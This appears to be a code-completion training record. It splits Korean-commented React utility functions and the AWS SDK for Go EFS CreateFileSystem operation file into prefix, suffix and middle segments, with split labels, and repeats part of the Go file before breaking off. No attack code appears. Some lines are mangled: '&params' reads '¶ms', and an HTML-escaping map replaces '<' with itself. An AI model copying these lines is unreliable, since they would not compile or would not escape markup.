// return "2,000"
export const comma = (value) => {
//Number.isInteger(value)
return typeof value === 'number' ? value.toLocaleString(navigator.language, { minimumFractionDigits: 0 }) : value;
};
// 데이터(학생부 비교과나 자기소개서 등에 쓰이는)\n 반영해 화면에 보여주는 함수
export const enterData = (data, fontSize) => {
if (data === null) {
return <p />;
} else {
return data.split(/(♨|\n)/).map((item, i) => {
return (
<p key={i} style={{ fontSize: fontSize }}>
{item}
</p>
);
});
}
};
export const enterToBr = (data) => {
if (data) {
//console.log(data.indexOf(/(\n)/));
}
return data ? data.replace(/(\n|♨|\/EOR\/)/gi, '<br />') : '';
};
export const bindKeyword = (keyword, originalData) => {
if (!originalData) return '';
let rtnData = originalData;
keyword.map((item, i) => {
if (item.Keyword.trim() !== '') {
//공백이 업로드된경우 시스템 먹통됨을 방지
const Keyword = item.Keyword.replace(/([()[{*+.$^\\|?])/g, '\\$1');
const filter = new RegExp(Keyword, 'g');
const replaceValue = `<b style="${item.Style}">${item.Keyword}</b>`;
rtnData = rtnData.replace(filter, replaceValue);
}
});
return rtnData;
};
// stateJsonCopy
// state의 json array를 copy시 사용
// 목적: 새로운 객체 만드는거
export const stateJsonCopy = (data) => {
return JSON.parse(JSON.stringify(data));
};
// 필수체크
// let val = validation(this.state, { exception: ["evalName"] });
export const validation = (data, opts) => {
var result = { success: true };
var opt = opts || {};
var exception = opt.exception || [];
var include = opt.include || [];
var value = opt.value || '';
for (var key in data) {
let check = false;
if (typeof data[key] !== 'string') {
check = true;
continue;
}
//컬럼 제외
for (var s in exception) {
if (exception[s] === key) {
check = true;
break;
}
}
if (check) continue;
//컬럼 지정
let includeCheck = false;
for (var k in include) {
if (include[k] === key) {
includeCheck = true;
break;
}
}
if (include.length > 0 && !includeCheck) continue;
//컬럼비교
if (data[key] === value) {
result = { success: false, column: key };
return result;
}
}
return result;
};
// 데이터 비교
// val = compare(this.state, {compare: ["evalName", "groupName"]});
export const compare = (data, opts) => {
var opt = opts || {};
var compare = opt.compare || [];
let sPre = '';
if (compare.length < 2) return false;
for (var i in compare) {
var s = compare[i];
if (i > 0 && data[sPre] !== data[s]) {
return { success: false, column: s };
}
sPre = s;
}
return { success: true, column: sPre };
};
// json 데이터의 특정 컬럼 bool 체크 유무 확인(1개이상인지)
export const jsonDataChecked = (data, column) => {
column = column || 'check';
let checked = false;
for (var i in data) {
if (data[i][column]) {
checked = true;
break;
}
}
return checked;
};
export const maskingText = (text, maskingWord, useLength, appendText, use) => {
if (use) {
const maskingArray = new Array(useLength ? useLength : text.length).fill(maskingWord || '*');
let rtnText = maskingArray.join('');
if (appendText) rtnText = rtnText + appendText;
return rtnText;
}
return text;
};
// Blob -> String 변환
export const parseBlob = async (file) => {
const reader = new FileReader();
reader.readAsText(file);
return await new Promise((resolve, reject) => {
reader.onload = function (event) {
resolve(reader.result);
};
});
};
export const getBlindText = (parent, node, isPre, point) => {
const getNode = (parent, node, isPre) => {
let fn = isPre ? 'previousSibling' : 'nextSibling';
return parent !== node.parentNode ? node.parentNode[fn] : node[fn];
};
const params = isPre ? [0, point] : [point, node.textContent.length];
let text = node.textContent.substring(...params);
node = getNode(parent, node, isPre, point);
// 문자열 앞뒤에 공백이 아닌경우 어절을 ++
let wordCnt = 2; |
let p = point;
while (node) {
p = p + node.textContent.length;
text = isPre ? node.textContent + text : text + node.textContent;
node = getNode(parent, node, isPre, point);
}
// 문자열 앞뒤 공백 OR 문자열 확인
const firstWord = isPre ? text.substring(p - 1, p) : text.slice(0, 1);
const wordCheck = firstWord.match(/(\n|\t|\s)/);
if (!wordCheck) wordCnt++;
// 앞뒤 문자열에서 공백, 탭, 엔터를 SPACE 로 변경 및 SPACE로 해당 어절 스플릿
text = text.replace(/(\r|\n|\t)/g, ' ');
let word = text.split(' ');
// 배열내 공백 값 제거
word = word.filter((x) => !!x);
// 앞뒤 어절 wordCnt 갯수만큼 추출
let sLen = isPre ? wordCnt * -1 : 0;
let eLen = isPre ? word.length : wordCnt;
word = word.slice(sLen, eLen);
// 양옆 공백값 생성
const leftSpace = !isPre && wordCheck ? ' ' : '';
const rightSpace = isPre && wordCheck ? ' ' : '';
return `${leftSpace}${word.join(' ')}${rightSpace}`;
};
export const bindMasking = (maskingArr, originalData) => {
if (!originalData) return '';
if (!maskingArr) return originalData;
let rtnData = originalData;
maskingArr.map((item, i) => {
if (item.value.trim() !== '') {
//공백이 업로드된경우 시스템 먹통됨을 방지
const bvalue = item.value.replace(/([()[{*+.$^\\|?])/g, '\\$1');
const filter = new RegExp(bvalue, 'g');
const masking = item.value.replace(/./g, '*');
//maskingValue가 ***일경우 글자수만큼 * 처리하고 그렇지 않을경우 maskingValue를 사용함 danny 2018.11.20
rtnData = rtnData.replace(filter, item.maskingValue === '***' ? masking : item.maskingValue);
}
});
return rtnData;
};
export const stdev = (arr) => {
const n = arr.length;
if (n === 0) return {};
const sum = arr.reduce((a, b) => a + b);
const mean = sum / n;
let variance = 0.0;
let v1 = 0.0;
let v2 = 0.0;
let stddev = 0.0;
if (n != 1) {
for (var i = 0; i < n; i++) {
v1 = v1 + (arr[i] - mean) * (arr[i] - mean);
v2 = v2 + (arr[i] - mean);
}
v2 = (v2 * v2) / n;
variance = (v1 - v2) / (n - 1);
if (variance < 0) {
variance = 0;
}
stddev = Math.sqrt(variance);
}
return {
mean: Math.round(mean * 1000) / 1000,
variance: variance,
deviation: Math.round(stddev * 1000) / 1000,
};
};
// 소수점 0제거
// decimalZeroRemove("99.20000", 5)
export const decimalZeroRemove = (value, len) => {
if (len === undefined) len = 5;
const cipher = parseInt('1' + new Array(len + 1).join('0'), 10);
if (isNaN(value) || value === '' || value === undefined || value === null) {
return value;
} else {
return (value * cipher) / cipher;
}
};
export const replaceHTMLTAG = (data) => {
// 에디터블에서는 원본에 "<,>" 문자가 태그로 인식되어 사라짐
let ConvertTag = [
{ value: '<', maskingValue: '<' },
{ value: '>', maskingValue: '>' },
];
return data ? bindMasking(ConvertTag, data) : '';
}; | random_line_split | |
api_op_CreateFileSystem.go | // Code generated by smithy-go-codegen DO NOT EDIT.
package efs
import (
"context"
"errors"
"fmt"
"github.com/aws/aws-sdk-go-v2/aws"
awsmiddleware "github.com/aws/aws-sdk-go-v2/aws/middleware"
"github.com/aws/aws-sdk-go-v2/aws/signer/v4"
internalauth "github.com/aws/aws-sdk-go-v2/internal/auth"
"github.com/aws/aws-sdk-go-v2/service/efs/types"
smithyendpoints "github.com/aws/smithy-go/endpoints"
"github.com/aws/smithy-go/middleware"
smithyhttp "github.com/aws/smithy-go/transport/http"
"time"
)
// Creates a new, empty file system. The operation requires a creation token in
// the request that Amazon EFS uses to ensure idempotent creation (calling the
// operation with same creation token has no effect). If a file system does not
// currently exist that is owned by the caller's Amazon Web Services account with
// the specified creation token, this operation does the following:
// - Creates a new, empty file system. The file system will have an Amazon EFS
// assigned ID, and an initial lifecycle state creating .
// - Returns with the description of the created file system.
//
// Otherwise, this operation returns a FileSystemAlreadyExists error with the ID
// of the existing file system. For basic use cases, you can use a randomly
// generated UUID for the creation token. The idempotent operation allows you to
// retry a CreateFileSystem call without risk of creating an extra file system.
// This can happen when an initial call fails in a way that leaves it uncertain
// whether or not a file system was actually created. An example might be that a
// transport level timeout occurred or your connection was reset. As long as you
// use the same creation token, if the initial call had succeeded in creating a
// file system, the client can learn of its existence from the
// FileSystemAlreadyExists error. For more information, see Creating a file system (https://docs.aws.amazon.com/efs/latest/ug/creating-using-create-fs.html#creating-using-create-fs-part1)
// in the Amazon EFS User Guide. The CreateFileSystem call returns while the file
// system's lifecycle state is still creating . You can check the file system
// creation status by calling the DescribeFileSystems operation, which among other
// things returns the file system state. This operation accepts an optional
// PerformanceMode parameter that you choose for your file system. We recommend
// generalPurpose performance mode for most file systems. File systems using the
// maxIO performance mode can scale to higher levels of aggregate throughput and
// operations per second with a tradeoff of slightly higher latencies for most file
// operations. The performance mode can't be changed after the file system has been
// created. For more information, see Amazon EFS performance modes (https://docs.aws.amazon.com/efs/latest/ug/performance.html#performancemodes.html)
// . You can set the throughput mode for the file system using the ThroughputMode
// parameter. After the file system is fully created, Amazon EFS sets its lifecycle
// state to available , at which point you can create one or more mount targets for
// the file system in your VPC. For more information, see CreateMountTarget . You
// mount your Amazon EFS file system on an EC2 instances in your VPC by using the
// mount target. For more information, see Amazon EFS: How it Works (https://docs.aws.amazon.com/efs/latest/ug/how-it-works.html)
// . This operation requires permissions for the elasticfilesystem:CreateFileSystem
// action. File systems can be tagged on creation. If tags are specified in the
// creation action, IAM performs additional authorization on the
// elasticfilesystem:TagResource action to verify if users have permissions to
// create tags. Therefore, you must grant explicit permissions to use the
// elasticfilesystem:TagResource action. For more information, see Granting
// permissions to tag resources during creation (https://docs.aws.amazon.com/efs/latest/ug/using-tags-efs.html#supported-iam-actions-tagging.html)
// .
func (c *Client) CreateFileSystem(ctx context.Context, params *CreateFileSystemInput, optFns ...func(*Options)) (*CreateFileSystemOutput, error) {
if params == nil {
params = &CreateFileSystemInput{}
}
result, metadata, err := c.invokeOperation(ctx, "CreateFileSystem", params, optFns, c.addOperationCreateFileSystemMiddlewares)
if err != nil {
return nil, err
}
out := result.(*CreateFileSystemOutput)
out.ResultMetadata = metadata
return out, nil
}
type CreateFileSystemInput struct {
// A string of up to 64 ASCII characters. Amazon EFS uses this to ensure
// idempotent creation.
//
// This member is required.
CreationToken *string
// Used to create a file system that uses One Zone storage classes. It specifies
// the Amazon Web Services Availability Zone in which to create the file system.
// Use the format us-east-1a to specify the Availability Zone. For more
// information about One Zone storage classes, see Using EFS storage classes (https://docs.aws.amazon.com/efs/latest/ug/storage-classes.html)
// in the Amazon EFS User Guide. One Zone storage classes are not available in all
// Availability Zones in Amazon Web Services Regions where Amazon EFS is available.
AvailabilityZoneName *string
// Specifies whether automatic backups are enabled on the file system that you are
// creating. Set the value to true to enable automatic backups. If you are
// creating a file system that uses One Zone storage classes, automatic backups are
// enabled by default. For more information, see Automatic backups (https://docs.aws.amazon.com/efs/latest/ug/awsbackup.html#automatic-backups)
// in the Amazon EFS User Guide. Default is false . However, if you specify an
// AvailabilityZoneName , the default is true . Backup is not available in all
// Amazon Web Services Regions where Amazon EFS is available.
Backup *bool
// A Boolean value that, if true, creates an encrypted file system. When creating
// an encrypted file system, you have the option of specifying an existing Key
// Management Service key (KMS key). If you don't specify a KMS key, then the
// default KMS key for Amazon EFS, /aws/elasticfilesystem , is used to protect the
// encrypted file system.
Encrypted *bool
// The ID of the KMS key that you want to use to protect the encrypted file
// system. This parameter is required only if you want to use a non-default KMS
// key. If this parameter is not specified, the default KMS key for Amazon EFS is
// used. You can specify a KMS key ID using the following formats:
// - Key ID - A unique identifier of the key, for example
// 1234abcd-12ab-34cd-56ef-1234567890ab .
// - ARN - An Amazon Resource Name (ARN) for the key, for example
// arn:aws:kms:us-west-2:111122223333:key/1234abcd-12ab-34cd-56ef-1234567890ab .
// - Key alias - A previously created display name for a key, for example
// alias/projectKey1 .
// - Key alias ARN - An ARN for a key alias, for example
// arn:aws:kms:us-west-2:444455556666:alias/projectKey1 .
// If you use KmsKeyId , you must set the CreateFileSystemRequest$Encrypted
// parameter to true. EFS accepts only symmetric KMS keys. You cannot use
// asymmetric KMS keys with Amazon EFS file systems.
KmsKeyId *string
// The performance mode of the file system. We recommend generalPurpose
// performance mode for most file systems. File systems using the maxIO
// performance mode can scale to higher levels of aggregate throughput and
// operations per second with a tradeoff of slightly higher latencies for most file
// operations. The performance mode can't be changed after the file system has been
// created. The maxIO mode is not supported on file systems using One Zone storage
// classes.
PerformanceMode types.PerformanceMode
// The throughput, measured in MiB/s, that you want to provision for a file system
// that you're creating. Valid values are 1-1024. Required if ThroughputMode is
// set to provisioned . The upper limit for throughput is 1024 MiB/s. To increase
// this limit, contact Amazon Web Services Support. For more information, see
// Amazon EFS quotas that you can increase (https://docs.aws.amazon.com/efs/latest/ug/limits.html#soft-limits)
// in the Amazon EFS User Guide.
ProvisionedThroughputInMibps *float64
// Use to create one or more tags associated with the file system. Each tag is a
// user-defined key-value pair. Name your file system on creation by including a
// "Key":"Name","Value":"{value}" key-value pair. Each key must be unique. For more
// information, see Tagging Amazon Web Services resources (https://docs.aws.amazon.com/general/latest/gr/aws_tagging.html)
// in the Amazon Web Services General Reference Guide.
Tags []types.Tag
// Specifies the throughput mode for the file system. The mode can be bursting ,
// provisioned , or elastic . If you set ThroughputMode to provisioned , you must
// also set a value for ProvisionedThroughputInMibps . After you create the file
// system, you can decrease your file system's throughput in Provisioned Throughput
// mode or change between the throughput modes, with certain time restrictions. For
// more information, see Specifying throughput with provisioned mode (https://docs.aws.amazon.com/efs/latest/ug/performance.html#provisioned-throughput)
// in the Amazon EFS User Guide. Default is bursting .
ThroughputMode types.ThroughputMode
noSmithyDocumentSerde
}
// A description of the file system.
type CreateFileSystemOutput struct {
// The time that the file system was created, in seconds (since
// 1970-01-01T00:00:00Z).
//
// This member is required.
CreationTime *time.Time
// The opaque string specified in the request.
//
// This member is required.
CreationToken *string
// The ID of the file system, assigned by Amazon EFS.
//
// This member is required.
FileSystemId *string
// The lifecycle phase of the file system.
//
// This member is required.
LifeCycleState types.LifeCycleState
// The current number of mount targets that the file system has. For more
// information, see CreateMountTarget .
//
// This member is required.
NumberOfMountTargets int32
// The Amazon Web Services account that created the file system.
//
// This member is required.
OwnerId *string
// The performance mode of the file system.
//
// This member is required.
PerformanceMode types.PerformanceMode
// The latest known metered size (in bytes) of data stored in the file system, in
// its Value field, and the time at which that size was determined in its Timestamp
// field. The Timestamp value is the integer number of seconds since
// 1970-01-01T00:00:00Z. The SizeInBytes value doesn't represent the size of a
// consistent snapshot of the file system, but it is eventually consistent when
// there are no writes to the file system. That is, SizeInBytes represents actual
// size only if the file system is not modified for a period longer than a couple
// of hours. Otherwise, the value is not the exact size that the file system was at
// any point in time.
//
// This member is required.
SizeInBytes *types.FileSystemSize
// The tags associated with the file system, presented as an array of Tag objects.
//
// This member is required.
Tags []types.Tag
// The unique and consistent identifier of the Availability Zone in which the file
// system's One Zone storage classes exist. For example, use1-az1 is an
// Availability Zone ID for the us-east-1 Amazon Web Services Region, and it has
// the same location in every Amazon Web Services account.
AvailabilityZoneId *string
// Describes the Amazon Web Services Availability Zone in which the file system is
// located, and is valid only for file systems using One Zone storage classes. For
// more information, see Using EFS storage classes (https://docs.aws.amazon.com/efs/latest/ug/storage-classes.html)
// in the Amazon EFS User Guide.
AvailabilityZoneName *string
// A Boolean value that, if true, indicates that the file system is encrypted.
Encrypted *bool
// The Amazon Resource Name (ARN) for the EFS file system, in the format
// arn:aws:elasticfilesystem:region:account-id:file-system/file-system-id .
// Example with sample data:
// arn:aws:elasticfilesystem:us-west-2:1111333322228888:file-system/fs-01234567
FileSystemArn *string
// The ID of an KMS key used to protect the encrypted file system.
KmsKeyId *string
// You can add tags to a file system, including a Name tag. For more information,
// see CreateFileSystem . If the file system has a Name tag, Amazon EFS returns
// the value in this field.
Name *string
// The amount of provisioned throughput, measured in MiB/s, for the file system.
// Valid for file systems using ThroughputMode set to provisioned .
ProvisionedThroughputInMibps *float64
// Displays the file system's throughput mode. For more information, see
// Throughput modes (https://docs.aws.amazon.com/efs/latest/ug/performance.html#throughput-modes)
// in the Amazon EFS User Guide.
ThroughputMode types.ThroughputMode
// Metadata pertaining to the operation's result.
ResultMetadata middleware.Metadata
noSmithyDocumentSerde
}
func (c *Client) addOperationCreateFileSystemMiddlewares(stack *middleware.Stack, options Options) (err error) {
err = stack.Serialize.Add(&awsRestjson1_serializeOpCreateFileSystem{}, middleware.After)
if err != nil {
return err
}
err = stack.Deserialize.Add(&awsRestjson1_deserializeOpCreateFileSystem{}, middleware.After)
if err != nil {
return err
}
if err = addlegacyEndpointContextSetter(stack, options); err != nil {
return err
}
if err = addSetLoggerMiddleware(stack, options); err != nil {
return err
}
if err = awsmiddleware.AddClientRequestIDMiddleware(stack); err != nil {
return err
}
if err = smithyhttp.AddComputeContentLengthMiddleware(stack); err != nil {
return err
}
if err = addResolveEndpointMiddleware(stack, options); err != nil {
return err
}
if err = v4.AddComputePayloadSHA256Middleware(stack); err != nil {
return err
}
if err = addRetryMiddlewares(stack, options); err != nil {
return err
}
if err = addHTTPSignerV4Middleware(stack, options); err != nil {
return err
}
if err = awsmiddleware.AddRawResponseToMetadata(stack); err != nil {
return err
}
if err = awsmiddleware.AddRecordResponseTiming(stack); err != nil {
return err
}
if err = addClientUserAgent(stack, options); err != nil {
return err
}
if err = smithyhttp.AddErrorCloseResponseBodyMiddleware(stack); err != nil {
return err
}
if err = smithyhttp.AddCloseResponseBodyMiddleware(stack); err != nil {
return err
}
if err = addCreateFileSystemResolveEndpointMiddleware(stack, options); err != nil {
return err
}
if err = addIdempotencyToken_opCreateFileSystemMiddleware(stack, options); err != nil {
return err
}
if err = addOpCreateFileSystemValidationMiddleware(stack); err != nil {
return err
}
if err = stack.Initialize.Add(newServiceMetadataMiddleware_opCreateFileSystem(options.Region), middleware.Before); err != nil {
return err
}
if err = awsmiddleware.AddRecursionDetection(stack); err != nil {
return err
}
if err = addRequestIDRetrieverMiddleware(stack); err != nil {
return err
}
if err = addResponseErrorMiddleware(stack); err != nil {
return err
}
if err = addRequestResponseLogging(stack, options); err != nil {
return err
}
if err = addendpointDisableHTTPSMiddleware(stack, options); err != nil {
return err
}
return nil
}
type idempotencyToken_initializeOpCreateFileSystem struct {
tokenProvider IdempotencyTokenProvider
}
func (*idempotencyToken_initializeOpCreateFileSystem) ID() string {
return "OperationIdempotencyTokenAutoFill"
}
func (m *idempotencyToken_initializeOpCreateFileSystem) HandleInitialize(ctx context.Context, in middleware.InitializeInput, next middleware.InitializeHandler) (
out middleware.InitializeOutput, metadata middleware.Metadata, err error,
) |
func addIdempotencyToken_opCreateFileSystemMiddleware(stack *middleware.Stack, cfg Options) error {
return stack.Initialize.Add(&idempotencyToken_initializeOpCreateFileSystem{tokenProvider: cfg.IdempotencyTokenProvider}, middleware.Before)
}
func newServiceMetadataMiddleware_opCreateFileSystem(region string) *awsmiddleware.RegisterServiceMetadata {
return &awsmiddleware.RegisterServiceMetadata{
Region: region,
ServiceID: ServiceID,
SigningName: "elasticfilesystem",
OperationName: "CreateFileSystem",
}
}
type opCreateFileSystemResolveEndpointMiddleware struct {
EndpointResolver EndpointResolverV2
BuiltInResolver builtInParameterResolver
}
func (*opCreateFileSystemResolveEndpointMiddleware) ID() string {
return "ResolveEndpointV2"
}
func (m *opCreateFileSystemResolveEndpointMiddleware) HandleSerialize(ctx context.Context, in middleware.SerializeInput, next middleware.SerializeHandler) (
out middleware.SerializeOutput, metadata middleware.Metadata, err error,
) {
if awsmiddleware.GetRequiresLegacyEndpoints(ctx) {
return next.HandleSerialize(ctx, in)
}
req, ok := in.Request.(*smithyhttp.Request)
if !ok {
return out, metadata, fmt.Errorf("unknown transport type %T", in.Request)
}
if m.EndpointResolver == nil {
return out, metadata, fmt.Errorf("expected endpoint resolver to not be nil")
}
params := EndpointParameters{}
m.BuiltInResolver.ResolveBuiltIns(¶ms)
var resolvedEndpoint smithyendpoints.Endpoint
resolvedEndpoint, err = m.EndpointResolver.ResolveEndpoint(ctx, params)
if err != nil {
return out, metadata, fmt.Errorf("failed to resolve service endpoint, %w", err)
}
req.URL = &resolvedEndpoint.URI
for k := range resolvedEndpoint.Headers {
req.Header.Set(
k,
resolvedEndpoint.Headers.Get(k),
)
}
authSchemes, err := internalauth.GetAuthenticationSchemes(&resolvedEndpoint.Properties)
if err != nil {
var nfe *internalauth.NoAuthenticationSchemesFoundError
if errors.As(err, &nfe) {
// if no auth scheme is found, default to sigv4
signingName := "elasticfilesystem"
signingRegion := m.BuiltInResolver.(*builtInResolver).Region
ctx = awsmiddleware.SetSigningName(ctx, signingName)
ctx = awsmiddleware.SetSigningRegion(ctx, signingRegion)
}
var ue *internalauth.UnSupportedAuthenticationSchemeSpecifiedError
if errors.As(err, &ue) {
return out, metadata, fmt.Errorf(
"This operation requests signer version(s) %v but the client only supports %v",
ue.UnsupportedSchemes,
internalauth.SupportedSchemes,
)
}
}
for _, authScheme := range authSchemes {
switch authScheme.(type) {
case *internalauth.AuthenticationSchemeV4:
v4Scheme, _ := authScheme.(*internalauth.AuthenticationSchemeV4)
var signingName, signingRegion string
if v4Scheme.SigningName == nil {
signingName = "elasticfilesystem"
} else {
signingName = *v4Scheme.SigningName
}
if v4Scheme.SigningRegion == nil {
signingRegion = m.BuiltInResolver.(*builtInResolver).Region
} else {
signingRegion = *v4Scheme.SigningRegion
}
if v4Scheme.DisableDoubleEncoding != nil {
// The signer sets an equivalent value at client initialization time.
// Setting this context value will cause the signer to extract it
// and override the value set at client initialization time.
ctx = internalauth.SetDisableDoubleEncoding(ctx, *v4Scheme.DisableDoubleEncoding)
}
ctx = awsmiddleware.SetSigningName(ctx, signingName)
ctx = awsmiddleware.SetSigningRegion(ctx, signingRegion)
break
case *internalauth.AuthenticationSchemeV4A:
v4aScheme, _ := authScheme.(*internalauth.AuthenticationSchemeV4A)
if v4aScheme.SigningName == nil {
v4aScheme.SigningName = aws.String("elasticfilesystem")
}
if v4aScheme.DisableDoubleEncoding != nil {
// The signer sets an equivalent value at client initialization time.
// Setting this context value will cause the signer to extract it
// and override the value set at client initialization time.
ctx = internalauth.SetDisableDoubleEncoding(ctx, *v4aScheme.DisableDoubleEncoding)
}
ctx = awsmiddleware.SetSigningName(ctx, *v4aScheme.SigningName)
ctx = awsmiddleware.SetSigningRegion(ctx, v4aScheme.SigningRegionSet[0])
break
case *internalauth.AuthenticationSchemeNone:
break
}
}
return next.HandleSerialize(ctx, in)
}
func addCreateFileSystemResolveEndpointMiddleware(stack *middleware.Stack, options Options) error {
return stack.Serialize.Insert(&opCreateFileSystemResolveEndpointMiddleware{
EndpointResolver: options.EndpointResolverV2,
BuiltInResolver: &builtInResolver{
Region: options.Region,
UseDualStack: options.EndpointOptions.UseDualStackEndpoint,
UseFIPS: options.EndpointOptions.UseFIPSEndpoint,
Endpoint: options.BaseEndpoint,
},
}, "ResolveEndpoint", middleware.After)
}
| {
if m.tokenProvider == nil {
return next.HandleInitialize(ctx, in)
}
input, ok := in.Parameters.(*CreateFileSystemInput)
if !ok {
return out, metadata, fmt.Errorf("expected middleware input to be of type *CreateFileSystemInput ")
}
if input.CreationToken == nil {
t, err := m.tokenProvider.GetIdempotencyToken()
if err != nil {
return out, metadata, err
}
input.CreationToken = &t
}
return next.HandleInitialize(ctx, in)
} | identifier_body |
api_op_CreateFileSystem.go | // Code generated by smithy-go-codegen DO NOT EDIT.
package efs
import (
"context"
"errors"
"fmt"
"github.com/aws/aws-sdk-go-v2/aws"
awsmiddleware "github.com/aws/aws-sdk-go-v2/aws/middleware"
"github.com/aws/aws-sdk-go-v2/aws/signer/v4"
internalauth "github.com/aws/aws-sdk-go-v2/internal/auth"
"github.com/aws/aws-sdk-go-v2/service/efs/types"
smithyendpoints "github.com/aws/smithy-go/endpoints"
"github.com/aws/smithy-go/middleware"
smithyhttp "github.com/aws/smithy-go/transport/http"
"time"
)
// Creates a new, empty file system. The operation requires a creation token in
// the request that Amazon EFS uses to ensure idempotent creation (calling the
// operation with same creation token has no effect). If a file system does not
// currently exist that is owned by the caller's Amazon Web Services account with
// the specified creation token, this operation does the following:
// - Creates a new, empty file system. The file system will have an Amazon EFS
// assigned ID, and an initial lifecycle state creating .
// - Returns with the description of the created file system.
//
// Otherwise, this operation returns a FileSystemAlreadyExists error with the ID
// of the existing file system. For basic use cases, you can use a randomly
// generated UUID for the creation token. The idempotent operation allows you to
// retry a CreateFileSystem call without risk of creating an extra file system.
// This can happen when an initial call fails in a way that leaves it uncertain
// whether or not a file system was actually created. An example might be that a
// transport level timeout occurred or your connection was reset. As long as you
// use the same creation token, if the initial call had succeeded in creating a
// file system, the client can learn of its existence from the
// FileSystemAlreadyExists error. For more information, see Creating a file system (https://docs.aws.amazon.com/efs/latest/ug/creating-using-create-fs.html#creating-using-create-fs-part1)
// in the Amazon EFS User Guide. The CreateFileSystem call returns while the file
// system's lifecycle state is still creating . You can check the file system
// creation status by calling the DescribeFileSystems operation, which among other
// things returns the file system state. This operation accepts an optional
// PerformanceMode parameter that you choose for your file system. We recommend
// generalPurpose performance mode for most file systems. File systems using the
// maxIO performance mode can scale to higher levels of aggregate throughput and
// operations per second with a tradeoff of slightly higher latencies for most file
// operations. The performance mode can't be changed after the file system has been
// created. For more information, see Amazon EFS performance modes (https://docs.aws.amazon.com/efs/latest/ug/performance.html#performancemodes.html)
// . You can set the throughput mode for the file system using the ThroughputMode
// parameter. After the file system is fully created, Amazon EFS sets its lifecycle
// state to available , at which point you can create one or more mount targets for
// the file system in your VPC. For more information, see CreateMountTarget . You
// mount your Amazon EFS file system on an EC2 instances in your VPC by using the
// mount target. For more information, see Amazon EFS: How it Works (https://docs.aws.amazon.com/efs/latest/ug/how-it-works.html)
// . This operation requires permissions for the elasticfilesystem:CreateFileSystem
// action. File systems can be tagged on creation. If tags are specified in the
// creation action, IAM performs additional authorization on the
// elasticfilesystem:TagResource action to verify if users have permissions to
// create tags. Therefore, you must grant explicit permissions to use the
// elasticfilesystem:TagResource action. For more information, see Granting
// permissions to tag resources during creation (https://docs.aws.amazon.com/efs/latest/ug/using-tags-efs.html#supported-iam-actions-tagging.html)
// .
func (c *Client) CreateFileSystem(ctx context.Context, params *CreateFileSystemInput, optFns ...func(*Options)) (*CreateFileSystemOutput, error) {
if params == nil {
params = &CreateFileSystemInput{}
}
result, metadata, err := c.invokeOperation(ctx, "CreateFileSystem", params, optFns, c.addOperationCreateFileSystemMiddlewares)
if err != nil {
return nil, err
}
out := result.(*CreateFileSystemOutput)
out.ResultMetadata = metadata
return out, nil
}
type CreateFileSystemInput struct {
// A string of up to 64 ASCII characters. Amazon EFS uses this to ensure
// idempotent creation.
//
// This member is required.
CreationToken *string
// Used to create a file system that uses One Zone storage classes. It specifies
// the Amazon Web Services Availability Zone in which to create the file system.
// Use the format us-east-1a to specify the Availability Zone. For more
// information about One Zone storage classes, see Using EFS storage classes (https://docs.aws.amazon.com/efs/latest/ug/storage-classes.html)
// in the Amazon EFS User Guide. One Zone storage classes are not available in all
// Availability Zones in Amazon Web Services Regions where Amazon EFS is available.
AvailabilityZoneName *string
// Specifies whether automatic backups are enabled on the file system that you are
// creating. Set the value to true to enable automatic backups. If you are
// creating a file system that uses One Zone storage classes, automatic backups are
// enabled by default. For more information, see Automatic backups (https://docs.aws.amazon.com/efs/latest/ug/awsbackup.html#automatic-backups)
// in the Amazon EFS User Guide. Default is false . However, if you specify an
// AvailabilityZoneName , the default is true . Backup is not available in all
// Amazon Web Services Regions where Amazon EFS is available.
Backup *bool
// A Boolean value that, if true, creates an encrypted file system. When creating
// an encrypted file system, you have the option of specifying an existing Key
// Management Service key (KMS key). If you don't specify a KMS key, then the
// default KMS key for Amazon EFS, /aws/elasticfilesystem , is used to protect the
// encrypted file system.
Encrypted *bool
// The ID of the KMS key that you want to use to protect the encrypted file
// system. This parameter is required only if you want to use a non-default KMS
// key. If this parameter is not specified, the default KMS key for Amazon EFS is
// used. You can specify a KMS key ID using the following formats:
// - Key ID - A unique identifier of the key, for example
// 1234abcd-12ab-34cd-56ef-1234567890ab .
// - ARN - An Amazon Resource Name (ARN) for the key, for example
// arn:aws:kms:us-west-2:111122223333:key/1234abcd-12ab-34cd-56ef-1234567890ab .
// - Key alias - A previously created display name for a key, for example
// alias/projectKey1 .
// - Key alias ARN - An ARN for a key alias, for example
// arn:aws:kms:us-west-2:444455556666:alias/projectKey1 .
// If you use KmsKeyId , you must set the CreateFileSystemRequest$Encrypted
// parameter to true. EFS accepts only symmetric KMS keys. You cannot use
// asymmetric KMS keys with Amazon EFS file systems.
KmsKeyId *string
// The performance mode of the file system. We recommend generalPurpose
// performance mode for most file systems. File systems using the maxIO
// performance mode can scale to higher levels of aggregate throughput and
// operations per second with a tradeoff of slightly higher latencies for most file
// operations. The performance mode can't be changed after the file system has been
// created. The maxIO mode is not supported on file systems using One Zone storage
// classes.
PerformanceMode types.PerformanceMode
// The throughput, measured in MiB/s, that you want to provision for a file system
// that you're creating. Valid values are 1-1024. Required if ThroughputMode is
// set to provisioned . The upper limit for throughput is 1024 MiB/s. To increase
// this limit, contact Amazon Web Services Support. For more information, see
// Amazon EFS quotas that you can increase (https://docs.aws.amazon.com/efs/latest/ug/limits.html#soft-limits)
// in the Amazon EFS User Guide.
ProvisionedThroughputInMibps *float64
// Use to create one or more tags associated with the file system. Each tag is a
// user-defined key-value pair. Name your file system on creation by including a
// "Key":"Name","Value":"{value}" key-value pair. Each key must be unique. For more
// information, see Tagging Amazon Web Services resources (https://docs.aws.amazon.com/general/latest/gr/aws_tagging.html)
// in the Amazon Web Services General Reference Guide.
Tags []types.Tag
// Specifies the throughput mode for the file system. The mode can be bursting ,
// provisioned , or elastic . If you set ThroughputMode to provisioned , you must
// also set a value for ProvisionedThroughputInMibps . After you create the file
// system, you can decrease your file system's throughput in Provisioned Throughput
// mode or change between the throughput modes, with certain time restrictions. For
// more information, see Specifying throughput with provisioned mode (https://docs.aws.amazon.com/efs/latest/ug/performance.html#provisioned-throughput)
// in the Amazon EFS User Guide. Default is bursting .
ThroughputMode types.ThroughputMode
noSmithyDocumentSerde
}
// A description of the file system.
type CreateFileSystemOutput struct {
// The time that the file system was created, in seconds (since
// 1970-01-01T00:00:00Z).
//
// This member is required.
CreationTime *time.Time
// The opaque string specified in the request.
//
// This member is required.
CreationToken *string
// The ID of the file system, assigned by Amazon EFS.
//
// This member is required.
FileSystemId *string
// The lifecycle phase of the file system.
//
// This member is required.
LifeCycleState types.LifeCycleState
// The current number of mount targets that the file system has. For more
// information, see CreateMountTarget .
//
// This member is required.
